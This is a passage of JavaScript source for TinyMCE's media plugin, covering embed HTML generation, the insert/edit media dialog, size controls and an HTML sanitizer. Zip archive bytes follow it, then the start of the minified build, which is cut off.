        return UpdateHtml.updateHtml(data.embed, data, true);
      } else {
        var videoScript = VideoScript.getVideoScriptMatch(Settings.getScripts(editor), data.source1);
        if (videoScript) {
          data.type = 'script';
          data.width = videoScript.width;
          data.height = videoScript.height;
        }
        var audioTemplateCallback = Settings.getAudioTemplateCallback(editor);
        var videoTemplateCallback = Settings.getVideoTemplateCallback(editor);
        data.width = data.width || 300;
        data.height = data.height || 150;
        global$2.each(data, function (value, key) {
          data[key] = editor.dom.encode(value);
        });
        if (data.type === 'iframe') {
          return getIframeHtml(data);
        } else if (data.source1mime === 'application/x-shockwave-flash') {
          return getFlashHtml(data);
        } else if (data.source1mime.indexOf('audio') !== -1) {
          return getAudioHtml(data, audioTemplateCallback);
        } else if (data.type === 'script') {
          return getScriptHtml(data);
        } else {
          return getVideoHtml(data, videoTemplateCallback);
        }
      }
    };
    var DataToHtml = { dataToHtml: dataToHtml };

    var cache = {};
    var embedPromise = function (data, dataToHtml, handler) {
      return new global$5(function (res, rej) {
        var wrappedResolve = function (response) {
          if (response.html) {
            cache[data.source1] = response;
          }
          return res({
            url: data.source1,
            html: response.html ? response.html : dataToHtml(data)
          });
        };
        if (cache[data.source1]) {
          wrappedResolve(cache[data.source1]);
        } else {
          handler({ url: data.source1 }, wrappedResolve, rej);
        }
      });
    };
    var defaultPromise = function (data, dataToHtml) {
      return new global$5(function (res) {
        res({
          html: dataToHtml(data),
          url: data.source1
        });
      });
    };
    var loadedData = function (editor) {
      return function (data) {
        return DataToHtml.dataToHtml(editor, data);
      };
    };
    var getEmbedHtml = function (editor, data) {
      var embedHandler = Settings.getUrlResolver(editor);
      return embedHandler ? embedPromise(data, loadedData(editor), embedHandler) : defaultPromise(data, loadedData(editor));
    };
    var isCached = function (url) {
      return cache.hasOwnProperty(url);
    };
    var Service = {
      getEmbedHtml: getEmbedHtml,
      isCached: isCached
    };

    var trimPx$1 = function (value) {
      return value.replace(/px$/, '');
    };
    var addPx$1 = function (value) {
      return /^[0-9.]+$/.test(value) ? value + 'px' : value;
    };
    var getSize = function (name) {
      return function (elm) {
        return elm ? trimPx$1(elm.style[name]) : '';
      };
    };
    var setSize = function (name) {
      return function (elm, value) {
        if (elm) {
          elm.style[name] = addPx$1(value);
        }
      };
    };
    var Size = {
      getMaxWidth: getSize('maxWidth'),
      getMaxHeight: getSize('maxHeight'),
      setMaxWidth: setSize('maxWidth'),
      setMaxHeight: setSize('maxHeight')
    };

    var doSyncSize = function (widthCtrl, heightCtrl) {
      widthCtrl.state.set('oldVal', widthCtrl.value());
      heightCtrl.state.set('oldVal', heightCtrl.value());
    };
    var doSizeControls = function (win, f) {
      var widthCtrl = win.find('#width')[0];
      var heightCtrl = win.find('#height')[0];
      var constrained = win.find('#constrain')[0];
      if (widthCtrl && heightCtrl && constrained) {
        f(widthCtrl, heightCtrl, constrained.checked());
      }
    };
    var doUpdateSize = function (widthCtrl, heightCtrl, isContrained) {
      var oldWidth = widthCtrl.state.get('oldVal');
      var oldHeight = heightCtrl.state.get('oldVal');
      var newWidth = widthCtrl.value();
      var newHeight = heightCtrl.value();
      if (isContrained && oldWidth && oldHeight && newWidth && newHeight) {
        if (newWidth !== oldWidth) {
          newHeight = Math.round(newWidth / oldWidth * newHeight);
          if (!isNaN(newHeight)) {
            heightCtrl.value(newHeight);
          }
        } else {
          newWidth = Math.round(newHeight / oldHeight * newWidth);
          if (!isNaN(newWidth)) {
            widthCtrl.value(newWidth);
          }
        }
      }
      doSyncSize(widthCtrl, heightCtrl);
    };
    var syncSize = function (win) {
      doSizeControls(win, doSyncSize);
    };
    var updateSize = function (win) {
      doSizeControls(win, doUpdateSize);
    };
    var createUi = function (onChange) {
      var recalcSize = function () {
        onChange(function (win) {
          updateSize(win);
        });
      };
      return {
        type: 'container',
        label: 'Dimensions',
        layout: 'flex',
        align: 'center',
        spacing: 5,
        items: [
          {
            name: 'width',
            type: 'textbox',
            maxLength: 5,
            size: 5,
            onchange: recalcSize,
            ariaLabel: 'Width'
          },
          {
            type: 'label',
            text: 'x'
          },
          {
            name: 'height',
            type: 'textbox',
            maxLength: 5,
            size: 5,
            onchange: recalcSize,
            ariaLabel: 'Height'
          },
          {
            name: 'constrain',
            type: 'checkbox',
            checked: true,
            text: 'Constrain proportions'
          }
        ]
      };
    };
    var SizeManager = {
      createUi: createUi,
      syncSize: syncSize,
      updateSize: updateSize
    };

    var embedChange = global$1.ie && global$1.ie <= 8 ? 'onChange' : 'onInput';
    var handleError = function (editor) {
      return function (error) {
        var errorMessage = error && error.msg ? 'Media embed handler error: ' + error.msg : 'Media embed handler threw unknown error.';
        editor.notificationManager.open({
          type: 'error',
          text: errorMessage
        });
      };
    };
    var getData = function (editor) {
      var element = editor.selection.getNode();
      var dataEmbed = element.getAttribute('data-ephox-embed-iri');
      if (dataEmbed) {
        return {
          'source1': dataEmbed,
          'data-ephox-embed-iri': dataEmbed,
          'width': Size.getMaxWidth(element),
          'height': Size.getMaxHeight(element)
        };
      }
      return element.getAttribute('data-mce-object') ? HtmlToData.htmlToData(Settings.getScripts(editor), editor.serializer.serialize(element, { selection: true })) : {};
    };
    var getSource = function (editor) {
      var elm = editor.selection.getNode();
      if (elm.getAttribute('data-mce-object') || elm.getAttribute('data-ephox-embed-iri')) {
        return editor.selection.getContent();
      }
    };
    var addEmbedHtml = function (win, editor) {
      return function (response) {
        var html = response.html;
        var embed = win.find('#embed')[0];
        var data = global$2.extend(HtmlToData.htmlToData(Settings.getScripts(editor), html), { source1: response.url });
        win.fromJSON(data);
        if (embed) {
          embed.value(html);
          SizeManager.updateSize(win);
        }
      };
    };
    var selectPlaceholder = function (editor, beforeObjects) {
      var i;
      var y;
      var afterObjects = editor.dom.select('img[data-mce-object]');
      for (i = 0; i < beforeObjects.length; i++) {
        for (y = afterObjects.length - 1; y >= 0; y--) {
          if (beforeObjects[i] === afterObjects[y]) {
            afterObjects.splice(y, 1);
          }
        }
      }
      editor.selection.select(afterObjects[0]);
    };
    var handleInsert = function (editor, html) {
      var beforeObjects = editor.dom.select('img[data-mce-object]');
      editor.insertContent(html);
      selectPlaceholder(editor, beforeObjects);
      editor.nodeChanged();
    };
    var submitForm = function (win, editor) {
      var data = win.toJSON();
      data.embed = UpdateHtml.updateHtml(data.embed, data);
      if (data.embed && Service.isCached(data.source1)) {
        handleInsert(editor, data.embed);
      } else {
        Service.getEmbedHtml(editor, data).then(function (response) {
          handleInsert(editor, response.html);
        }).catch(handleError(editor));
      }
    };
    var populateMeta = function (win, meta) {
      global$2.each(meta, function (value, key) {
        win.find('#' + key).value(value);
      });
    };
    var showDialog = function (editor) {
      var win;
      var data;
      var generalFormItems = [{
          name: 'source1',
          type: 'filepicker',
          filetype: 'media',
          size: 40,
          autofocus: true,
          label: 'Source',
          onpaste: function () {
            setTimeout(function () {
              Service.getEmbedHtml(editor, win.toJSON()).then(addEmbedHtml(win, editor)).catch(handleError(editor));
            }, 1);
          },
          onchange: function (e) {
            Service.getEmbedHtml(editor, win.toJSON()).then(addEmbedHtml(win, editor)).catch(handleError(editor));
            populateMeta(win, e.meta);
          },
          onbeforecall: function (e) {
            e.meta = win.toJSON();
          }
        }];
      var advancedFormItems = [];
      var reserialise = function (update) {
        update(win);
        data = win.toJSON();
        win.find('#embed').value(UpdateHtml.updateHtml(data.embed, data));
      };
      if (Settings.hasAltSource(editor)) {
        advancedFormItems.push({
          name: 'source2',
          type: 'filepicker',
          filetype: 'media',
          size: 40,
          label: 'Alternative source'
        });
      }
      if (Settings.hasPoster(editor)) {
        advancedFormItems.push({
          name: 'poster',
          type: 'filepicker',
          filetype: 'image',
          size: 40,
          label: 'Poster'
        });
      }
      if (Settings.hasDimensions(editor)) {
        var control = SizeManager.createUi(reserialise);
        generalFormItems.push(control);
      }
      data = getData(editor);
      var embedTextBox = {
        id: 'mcemediasource',
        type: 'textbox',
        flex: 1,
        name: 'embed',
        value: getSource(editor),
        multiline: true,
        rows: 5,
        label: 'Source'
      };
      var updateValueOnChange = function () {
        data = global$2.extend({}, HtmlToData.htmlToData(Settings.getScripts(editor), this.value()));
        this.parent().parent().fromJSON(data);
      };
      embedTextBox[embedChange] = updateValueOnChange;
      var body = [
        {
          title: 'General',
          type: 'form',
          items: generalFormItems
        },
        {
          title: 'Embed',
          type: 'container',
          layout: 'flex',
          direction: 'column',
          align: 'stretch',
          padding: 10,
          spacing: 10,
          items: [
            {
              type: 'label',
              text: 'Paste your embed code below:',
              forId: 'mcemediasource'
            },
            embedTextBox
          ]
        }
      ];
      if (advancedFormItems.length > 0) {
        body.push({
          title: 'Advanced',
          type: 'form',
          items: advancedFormItems
        });
      }
      win = editor.windowManager.open({
        title: 'Insert/edit media',
        data: data,
        bodyType: 'tabpanel',
        body: body,
        onSubmit: function () {
          SizeManager.updateSize(win);
          submitForm(win, editor);
        }
      });
      SizeManager.syncSize(win);
    };
    var Dialog = { showDialog: showDialog };

    var get$1 = function (editor) {
      var showDialog = function () {
        Dialog.showDialog(editor);
      };
      return { showDialog: showDialog };
    };
    var Api = { get: get$1 };

    var register = function (editor) {
      var showDialog = function () {
        Dialog.showDialog(editor);
      };
      editor.addCommand('mceMedia', showDialog);
    };
    var Commands = { register: register };

    var global$8 = tinymce.util.Tools.resolve('tinymce.html.Node');

    var sanitize = function (editor, html) {
      if (Settings.shouldFilterHtml(editor) === false) {
        return html;
      }
      var writer = global$7();
      var blocked;
      global$4({
        validate: false,
        allow_conditional_comments: false,
        special: 'script,noscript',
        comment: function (text) {
          writer.comment(text);
        },
        cdata: function (text) {
          writer.cdata(text);
        },
        text: function (text, raw) {
          writer.text(text, raw);
        },
        start: function (name, attrs, empty) {
          blocked = true;
          if (name === 'script' || name === 'noscript' || name === 'svg') {
            return;
          }
          for (var i = attrs.length - 1; i >= 0; i--) {
            var attrName = attrs[i].name;
            if (attrName.indexOf('on') === 0) {
              delete attrs.map[attrName];
              attrs.splice(i, 1);
            }
            if (attrName === 'style') {
              attrs[i].value = editor.dom.serializeStyle(editor.dom.parseStyle(attrs[i].value), name);
            }
          }
          writer.start(name, attrs, empty);
          blocked = false;
        },
        end: function (name) {
          if (blocked) {
            return;
          }
          writer.end(name);
        }
      }, global$6({})).parse(html);
      return writer.getContent();
    };
    var Sanitize = { sanitize: sanitize };

    var createPlaceholderNode = function (editor, node) {
      var placeHolder;
      var name = node.name;
      placeHolder = new global$8('img', 1);
      placeHolder.shortEnded = true;
      retainAttributesAndInnerHtml(editor, node, placeHolder);
      placeHolder.attr({
        'width': node.attr('width') || '300',
        'height': node.attr('height') || (name === 'audio' ? '30' : '150'),
        'style': node.attr('style'),
        'src': global$1.transparentSrc,
        'data-mce-object': name,
        'class': 'mce-object mce-object-' + name
      });
      return placeHolder;
    };
    var createPreviewIframeNode = function (editor, node) {
      var previewWrapper;
      var previewNode;
      var shimNode;
      var name = node.name;
      previewWrapper = new global$8('span', 1);
      previewWrapper.attr({
        'contentEditable': 'false',
        'style': node.attr('style'),
        'data-mce-object': name,
        'class': 'mce-preview-object mce-object-' + name
      });
      retainAttributesAndInnerHtml(editor, node, previewWrapper);
      previewNode = new global$8(name, 1);
      previewNode.attr({
        src: node.attr('src'),
        allowfullscreen: node.attr('allowfullscreen'),
        style: node.attr('style'),
        class: node.attr('class'),
        width: node.attr('width'),
        height: node.attr('height'),
        frameborder: '0'
      });
      shimNode = new global$8('span', 1);
      shimNode.attr('class', 'mce-shim');
      previewWrapper.append(previewNode);
      previewWrapper.append(shimNode);
      return previewWrapper;
    };
    var retainAttributesAndInnerHtml = function (editor, sourceNode, targetNode) {
      var attrName;
      var attrValue;
      var attribs;
      var ai;
      var innerHtml;
      attribs = sourceNode.attributes;
      ai = attribs.length;
      while (ai--) {
        attrName = attribs[ai].name;
        attrValue = attribs[ai].value;
        if (attrName !== 'width' && attrName !== 'height' && attrName !== 'style') {
          if (attrName === 'data' || attrName === 'src') {
            attrValue = editor.convertURL(attrValue, attrName);
          }
          targetNode.attr('data-mce-p-' + attrName, attrValue);
        }
      }
      innerHtml = sourceNode.firstChild && sourceNode.firstChild.value;
      if (innerHtml) {
        targetNode.attr('data-mce-html', escape(Sanitize.sanitize(editor, innerHtml)));
        targetNode.firstChild = null;
      }
    };
    var isWithinEphoxEmbed = function (node) {
      while (node = node.parent) {
        if (node.attr('data-ephox-embed-iri')) {
          return true;
        }
      }
      return false;
    };
    var placeHolderConverter = function (editor) {
      return function (nodes) {
        var i = nodes.length;
        var node;
        var videoScript;
        while (i--) {
          node = nodes[i];
          if (!node.parent) {
            continue;
          }
          if (node.parent.attr('data-mce-object')) {
            continue;
          }
          if (node.name === 'script') {
            videoScript = VideoScript.getVideoScriptMatch(Settings.getScripts(editor), node.attr('src'));
            if (!videoScript) {
              continue;
            }
          }
          if (videoScript) {
            if (videoScript.width) {
              node.attr('width', videoScript.width.toString());
            }
            if (videoScript.height) {
              node.attr('height', videoScript.height.toString());
            }
          }
          if (node.name === 'iframe' && Settings.hasLiveEmbeds(editor) && global$1.ceFalse) {
            if (!isWithinEphoxEmbed(node)) {
              node.replace(createPreviewIframeNode(editor, node));
            }
          } else {
            if (!isWithinEphoxEmbed(node)) {
              node.replace(createPlaceholderNode(editor, node));
            }
          }
        }
      };
    };
    var Nodes = {
      createPreviewIframeNode: createPreviewIframeNode,
      createPlaceholderNode: createPlaceholderNode,
      placeHolderConverter: placeHolderConverter
    };

    var setup = function (editor) {
      editor.on('preInit', function () {
        var specialElements = editor.schema.getSpecialElements();
        global$2.each('video audio iframe object'.split(' '), function (name) {
          specialElements[name] = new RegExp('</' + name + '[^>]*>', 'gi');
        });
        var boolAttrs = editor.schema.getBoolAttrs();
        global$2.each('webkitallowfullscreen mozallowfullscreen allowfullscreen'.split(' '), function (name) {
          boolAttrs[name] = {};
        });
        editor.parser.addNodeFilter('iframe,video,audio,object,embed,script', Nodes.placeHolderConverter(editor));
        editor.serializer.addAttributeFilter('data-mce-object', function (nodes, name) {
          var i = nodes.length;
          var node;
          var realElm;
          var ai;
          var attribs;
          var innerHtml;
          var innerNode;
          var realElmName;
          var className;
          while (i--) {
            node = nodes[i];
            if (!node.parent) {
              continue;
            }
            realElmName = node.attr(name);
            realElm = new global$8(realElmName, 1);
            if (realElmName !== 'audio' && realElmName !== 'script') {
              className = node.attr('class');
              if (className && className.indexOf('mce-preview-object') !== -1) {
                realElm.attr({
                  width: node.firstChild.attr('width'),
                  height: node.firstChild.attr('height')
                });
              } else {
                realElm.attr({
                  width: node.attr('width'),
                  height: node.attr('height')
                });
              }
            }
            realElm.attr({ style: node.attr('style') });
            attribs = node.attributes;
            ai = attribs.length;
            while (ai--) {
              var attrName = attribs[ai].name;
              if (attrName.indexOf('data-mce-p-') === 0) {
                realElm.attr(attrName.substr(11), attribs[ai].value);
              }
            }
            if (realElmName === 'script') {
              realElm.attr('type', 'text/javascript');
            }
            innerHtml = node.attr('data-mce-html');
            if (innerHtml) {
              innerNode = new global$8('#text', 3);
              innerNode.raw = true;
              innerNode.value = Sanitize.sanitize(editor, unescape(innerHtml));
              realElm.append(innerNode);
            }
            node.replace(realElm);
          }
        });
      });
      editor.on('setContent', function () {
        editor.$('span.mce-preview-object').each(function (index, elm) {
          var $elm = editor.$(elm);
          if ($elm.find('span.mce-shim', elm).length === 0) {
            $elm.append('<span class="mce-shim"></span>');
          }
        });
      });
    };
    var FilterContent = { setup: setup };

    var setup$1 = function (editor) {
      editor.on('ResolveName', function (e) {
        var name;
        if (e.target.nodeType === 1 && (name = e.target.getAttribute('data-mce-object'))) {
          e.name = name;
        }
      });
    };
    var ResolveName = { setup: setup$1 };

    var setup$2 = function (editor) {
      editor.on('click keyup', function () {
        var selectedNode = editor.selection.getNode();
        if (selectedNode && editor.dom.hasClass(selectedNode, 'mce-preview-object')) {
          if (editor.dom.getAttrib(selectedNode, 'data-mce-selected')) {
            selectedNode.setAttribute('data-mce-selected', '2');
          }
        }
      });
      editor.on('ObjectSelected', function (e) {
        var objectType = e.target.getAttribute('data-mce-object');
        if (objectType === 'audio' || objectType === 'script') {
          e.preventDefault();
        }
      });
      editor.on('objectResized', function (e) {
        var target = e.target;
        var html;
        if (target.getAttribute('data-mce-object')) {
          html = target.getAttribute('data-mce-html');
          if (html) {
            html = unescape(html);
            target.setAttribute('data-mce-html', escape(UpdateHtml.updateHtml(html, {
              width: e.width,
              height: e.height
            })));
          }
        }
      });
    };
    var Selection = { setup: setup$2 };

    var register$1 = function (editor) {
      editor.addButton('media', {
        tooltip: 'Insert/edit media',
        cmd: 'mceMedia',
        stateSelector: [
          'img[data-mce-object]',
          'span[data-mce-object]',
          'div[data-ephox-embed-iri]'
        ]
      });
      editor.addMenuItem('media', {
        icon: 'media',
        text: 'Media',
        cmd: 'mceMedia',
        context: 'insert',
        prependToContext: true
      });
    };
    var Buttons = { register: register$1 };

    global.add('media', function (editor) {
      Commands.register(editor);
      Buttons.register(editor);
      ResolveName.setup(editor);
      FilterContent.setup(editor);
      Selection.setup(editor);
      return Api.get(editor);
    });
    function Plugin () {
    }

    return Plugin;

}());
})();
PK�\d[��		�@�@media/plugin.min.jsnu�[���!function(){"use strict";var e,t,r,n,i=tinymce.util.Tools.resolve("tinymce.PluginManager"),o=tinymce.util.Tools.resolve("tinymce.Env"),v=tinymce.util.Tools.resolve("tinymce.util.Tools"),w=function(e){return e.getParam("media_scripts")},b=function(e){return e.getParam("audio_template_callback")},y=function(e){return e.getParam("video_template_callback")},a=function(e){return e.getParam("media_live_embeds",!0)},u=function(e){return e.getParam("media_filter_html",!0)},s=function(e){return e.getParam("media_url_resolver")},m=function(e){return e.getParam("media_alt_source",!0)},d=function(e){return e.getParam("media_poster",!0)},h=function(e){return e.getParam("media_dimensions",!0)},f=function(e){var t=e,r=function(){return t};return{get:r,set:function(e){t=e},clone:function(){return f(r())}}},c=function(){},l=function(e){return function(){return e}},p=l(!1),g=l(!0),x=function(){return O},O=(e=function(e){return e.isNone()},n={fold:function(e,t){return e()},is:p,isSome:p,isNone:g,getOr:r=function(e){return e},getOrThunk:t=function(e){return e()},getOrDie:function(e){throw new Error(e||"error: getOrDie called on none.")},getOrNull:l(null),getOrUndefined:l(undefined),or:r,orThunk:t,map:x,each:c,bind:x,exists:p,forall:g,filter:x,equals:e,equals_:e,toArray:function(){return[]},toString:l("none()")},Object.freeze&&Object.freeze(n),n),j=function(r){var e=l(r),t=function(){return i},n=function(e){return e(r)},i={fold:function(e,t){return t(r)},is:function(e){return r===e},isSome:g,isNone:p,getOr:e,getOrThunk:e,getOrDie:e,getOrNull:e,getOrUndefined:e,or:t,orThunk:t,map:function(e){return j(e(r))},each:function(e){e(r)},bind:n,exists:n,forall:n,filter:function(e){return e(r)?i:O},toArray:function(){return[r]},toString:function(){return"some("+r+")"},equals:function(e){return e.is(r)},equals_:function(e,t){return e.fold(p,function(e){return t(r,e)})}};return i},_=x,S=function(e){return null===e||e===undefined?O:j(e)},k=Object.hasOwnProperty,N=function(e,t){return M(e,t)?S(e[t]):_()},M=function(e,t){return k.call(e,t)},T=tinymce.util.Tools.resolve("tinymce.dom.DOMUtils"),z=tinymce.util.Tools.resolve("tinymce.html.SaxParser"),A=function(e,t){if(e)for(var r=0;r<e.length;r++)if(-1!==t.indexOf(e[r].filter))return e[r]},C=T.DOM,$=function(e){return e.replace(/px$/,"")},P=function(a,e){var c=f(!1),u={};return z({validate:!1,allow_conditional_comments:!0,special:"script,noscript",start:function(e,t){if(c.get());else if(M(t.map,"data-ephox-embed-iri"))c.set(!0),i=(n=t).map.style,o=i?C.parseStyle(i):{},u={type:"ephox-embed-iri",source1:n.map["data-ephox-embed-iri"],source2:"",poster:"",width:N(o,"max-width").map($).getOr(""),height:N(o,"max-height").map($).getOr("")};else{if(u.source1||"param"!==e||(u.source1=t.map.movie),"iframe"!==e&&"object"!==e&&"embed"!==e&&"video"!==e&&"audio"!==e||(u.type||(u.type=e),u=v.extend(t.map,u)),"script"===e){var r=A(a,t.map.src);if(!r)return;u={type:"script",source1:t.map.src,width:r.width,height:r.height}}"source"===e&&(u.source1?u.source2||(u.source2=t.map.src):u.source1=t.map.src),"img"!==e||u.poster||(u.poster=t.map.src)}var n,i,o}}).parse(e),u.source1=u.source1||u.src||u.data,u.source2=u.source2||"",u.poster=u.poster||"",u},F=tinymce.util.Tools.resolve("tinymce.util.Promise"),D=function(e){var t={mp3:"audio/mpeg",wav:"audio/wav",mp4:"video/mp4",webm:"video/webm",ogg:"video/ogg",swf:"application/x-shockwave-flash"}[e.toLowerCase().split(".").pop()];return t||""},L=tinymce.util.Tools.resolve("tinymce.html.Schema"),E=tinymce.util.Tools.resolve("tinymce.html.Writer"),J=T.DOM,R=function(e){return/^[0-9.]+$/.test(e)?e+"px":e},U=function(e,t){for(var r in t){var n=""+t[r];if(e.map[r])for(var i=e.length;i--;){var o=e[i];o.name===r&&(n?(e.map[r]=n,o.value=n):(delete e.map[r],e.splice(i,1)))}else n&&(e.push({name:r,value:n}),e.map[r]=n)}},W=function(e,c,u){var s,l=E(),m=f(!1),d=0;return z({validate:!1,allow_conditional_comments:!0,special:"script,noscript",comment:function(e){l.comment(e)},cdata:function(e){l.cdata(e)},text:function(e,t){l.text(e,t)},start:function(e,t,r){if(m.get());else if(M(t.map,"data-ephox-embed-iri"))m.set(!0),n=c,o=(i=t).map.style,(a=o?J.parseStyle(o):{})["max-width"]=R(n.width),a["max-height"]=R(n.height),U(i,{style:J.serializeStyle(a)});else{switch(e){case"video":case"object":case"embed":case"img":case"iframe":c.height!==undefined&&c.width!==undefined&&U(t,{width:c.width,height:c.height})}if(u)switch(e){case"video":U(t,{poster:c.poster,src:""}),c.source2&&U(t,{src:""});break;case"iframe":U(t,{src:c.source1});break;case"source":if(++d<=2&&(U(t,{src:c["source"+d],type:c["source"+d+"mime"]}),!c["source"+d]))return;break;case"img":if(!c.poster)return;s=!0}}var n,i,o,a;l.start(e,t,r)},end:function(e){if(!m.get()){if("video"===e&&u)for(var t=1;t<=2;t++)if(c["source"+t]){var r=[];r.map={},d<t&&(U(r,{src:c["source"+t],type:c["source"+t+"mime"]}),l.start("source",r,!0))}if(c.poster&&"object"===e&&u&&!s){var n=[];n.map={},U(n,{src:c.poster,width:c.width,height:c.height}),l.start("img",n,!0)}}l.end(e)}},L({})).parse(e),l.getContent()},H=[{regex:/youtu\.be\/([\w\-_\?&=.]+)/i,type:"iframe",w:560,h:314,url:"//www.youtube.com/embed/$1",allowFullscreen:!0},{regex:/youtube\.com(.+)v=([^&]+)(&([a-z0-9&=\-_]+))?/i,type:"iframe",w:560,h:314,url:"//www.youtube.com/embed/$2?$4",allowFullscreen:!0},{regex:/youtube.com\/embed\/([a-z0-9\?&=\-_]+)/i,type:"iframe",w:560,h:314,url:"//www.youtube.com/embed/$1",allowFullscreen:!0},{regex:/vimeo\.com\/([0-9]+)/,type:"iframe",w:425,h:350,url:"//player.vimeo.com/video/$1?title=0&byline=0&portrait=0&color=8dc7dc",allowFullscreen:!0},{regex:/vimeo\.com\/(.*)\/([0-9]+)/,type:"iframe",w:425,h:350,url:"//player.vimeo.com/video/$2?title=0&amp;byline=0",allowFullscreen:!0},{regex:/maps\.google\.([a-z]{2,3})\/maps\/(.+)msid=(.+)/,type:"iframe",w:425,h:350,url:'//maps.google.com/maps/ms?msid=$2&output=embed"',allowFullscreen:!1},{regex:/dailymotion\.com\/video\/([^_]+)/,type:"iframe",w:480,h:270,url:"//www.dailymotion.com/embed/video/$1",allowFullscreen:!0},{regex:/dai\.ly\/([^_]+)/,type:"iframe",w:480,h:270,url:"//www.dailymotion.com/embed/video/$1",allowFullscreen:!0}],I=function(r,e){var n=v.extend({},e);if(!n.source1&&(v.extend(n,P(w(r),n.embed)),!n.source1))return"";n.source2||(n.source2=""),n.poster||(n.poster=""),n.source1=r.convertURL(n.source1,"source"),n.source2=r.convertURL(n.source2,"source"),n.source1mime=D(n.source1),n.source2mime=D(n.source2),n.poster=r.convertURL(n.poster,"poster");var t,i,o=(t=n.source1,0<(i=H.filter(function(e){return e.regex.test(t)})).length?v.extend({},i[0],{url:function(e,t){for(var r=e.regex.exec(t),n=e.url,i=function(e){n=n.replace("$"+e,function(){return r[e]?r[e]:""})},o=0;o<r.length;o++)i(o);return n.replace(/\?$/,"")}(i[0],t)}):null);if(o&&(n.source1=o.url,n.type=o.type,n.allowFullscreen=o.allowFullscreen,n.width=n.width||o.w,n.height=n.height||o.h),n.embed)return W(n.embed,n,!0);var a=A(w(r),n.source1);a&&(n.type="script",n.width=a.width,n.height=a.height);var c,u,s,l,m,d,h,f,p=b(r),g=y(r);return n.width=n.width||300,n.height=n.height||150,v.each(n,function(e,t){n[t]=r.dom.encode(e)}),"iframe"===n.type?(f=(h=n).allowFullscreen?' allowFullscreen="1"':"",'<iframe src="'+h.source1+'" width="'+h.width+'" height="'+h.height+'"'+f+"></iframe>"):"application/x-shockwave-flash"===n.source1mime?(d='<object data="'+(m=n).source1+'" width="'+m.width+'" height="'+m.height+'" type="application/x-shockwave-flash">',m.poster&&(d+='<img src="'+m.poster+'" width="'+m.width+'" height="'+m.height+'" />'),d+="</object>"):-1!==n.source1mime.indexOf("audio")?(s=n,(l=p)?l(s):'<audio controls="controls" src="'+s.source1+'">'+(s.source2?'\n<source src="'+s.source2+'"'+(s.source2mime?' type="'+s.source2mime+'"':"")+" />\n":"")+"</audio>"):"script"===n.type?'<script src="'+n.source1+'"><\/script>':(c=n,(u=g)?u(c):'<video width="'+c.width+'" height="'+c.height+'"'+(c.poster?' poster="'+c.poster+'"':"")+' controls="controls">\n<source src="'+c.source1+'"'+(c.source1mime?' type="'+c.source1mime+'"':"")+" />\n"+(c.source2?'<source src="'+c.source2+'"'+(c.source2mime?' type="'+c.source2mime+'"':"")+" />\n":"")+"</video>")},q={},V=function(t){return function(e){return I(t,e)}},B=function(e,t){var r,n,i,o,a,c=s(e);return c?(i=t,o=V(e),a=c,new F(function(t,e){var r=function(e){return e.html&&(q[i.source1]=e),t({url:i.source1,html:e.html?e.html:o(i)})};q[i.source1]?r(q[i.source1]):a({url:i.source1},r,e)})):(r=t,n=V(e),new F(function(e){e({html:n(r),url:r.source1})}))},G=function(e){return q.hasOwnProperty(e)},K=function(t){return function(e){return e?e.style[t].replace(/px$/,""):""}},Q=function(n){return function(e,t){var r;e&&(e.style[n]=/^[0-9.]+$/.test(r=t)?r+"px":r)}},X={getMaxWidth:K("maxWidth"),getMaxHeight:K("maxHeight"),setMaxWidth:Q("maxWidth"),setMaxHeight:Q("maxHeight")},Y=function(e,t){e.state.set("oldVal",e.value()),t.state.set("oldVal",t.value())},Z=function(e,t){var r=e.find("#width")[0],n=e.find("#height")[0],i=e.find("#constrain")[0];r&&n&&i&&t(r,n,i.checked())},ee=function(e,t,r){var n=e.state.get("oldVal"),i=t.state.get("oldVal"),o=e.value(),a=t.value();r&&n&&i&&o&&a&&(o!==n?(a=Math.round(o/n*a),isNaN(a)||t.value(a)):(o=Math.round(a/i*o),isNaN(o)||e.value(o))),Y(e,t)},te=function(e){Z(e,ee)},re=function(e){var t=function(){e(function(e){te(e)})};return{type:"container",label:"Dimensions",layout:"flex",align:"center",spacing:5,items:[{name:"width",type:"textbox",maxLength:5,size:5,onchange:t,ariaLabel:"Width"},{type:"label",text:"x"},{name:"height",type:"textbox",maxLength:5,size:5,onchange:t,ariaLabel:"Height"},{name:"constrain",type:"checkbox",checked:!0,text:"Constrain proportions"}]}},ne=function(e){Z(e,Y)},ie=te,oe=o.ie&&o.ie<=8?"onChange":"onInput",ae=function(r){return function(e){var t=e&&e.msg?"Media embed handler error: "+e.msg:"Media embed handler threw unknown error.";r.notificationManager.open({type:"error",text:t})}},ce=function(i,o){return function(e){var t=e.html,r=i.find("#embed")[0],n=v.extend(P(w(o),t),{source1:e.url});i.fromJSON(n),r&&(r.value(t),ie(i))}},ue=function(e,t){var r=e.dom.select("img[data-mce-object]");e.insertContent(t),function(e,t){var r,n,i=e.dom.select("img[data-mce-object]");for(r=0;r<t.length;r++)for(n=i.length-1;0<=n;n--)t[r]===i[n]&&i.splice(n,1);e.selection.select(i[0])}(e,r),e.nodeChanged()},se=function(n){var i,t,e,r,o,a=[{name:"source1",type:"filepicker",filetype:"media",size:40,autofocus:!0,label:"Source",onpaste:function(){setTimeout(function(){B(n,i.toJSON()).then(ce(i,n))["catch"](ae(n))},1)},onchange:function(e){var r,t;B(n,i.toJSON()).then(ce(i,n))["catch"](ae(n)),r=i,t=e.meta,v.each(t,function(e,t){r.find("#"+t).value(e)})},onbeforecall:function(e){e.meta=i.toJSON()}}],c=[];if(m(n)&&c.push({name:"source2",type:"filepicker",filetype:"media",size:40,label:"Alternative source"}),d(n)&&c.push({name:"poster",type:"filepicker",filetype:"image",size:40,label:"Poster"}),h(n)){var u=re(function(e){e(i),t=i.toJSON(),i.find("#embed").value(W(t.embed,t))});a.push(u)}r=(e=n).selection.getNode(),o=r.getAttribute("data-ephox-embed-iri"),t=o?{source1:o,"data-ephox-embed-iri":o,width:X.getMaxWidth(r),height:X.getMaxHeight(r)}:r.getAttribute("data-mce-object")?P(w(e),e.serializer.serialize(r,{selection:!0})):{};var s={id:"mcemediasource",type:"textbox",flex:1,name:"embed",value:function(e){var t=e.selection.getNode();if(t.getAttribute("data-mce-object")||t.getAttribute("data-ephox-embed-iri"))return e.selection.getContent()}(n),multiline:!0,rows:5,label:"Source"};s[oe]=function(){t=v.extend({},P(w(n),this.value())),this.parent().parent().fromJSON(t)};var l=[{title:"General",type:"form",items:a},{title:"Embed",type:"container",layout:"flex",direction:"column",align:"stretch",padding:10,spacing:10,items:[{type:"label",text:"Paste your embed code 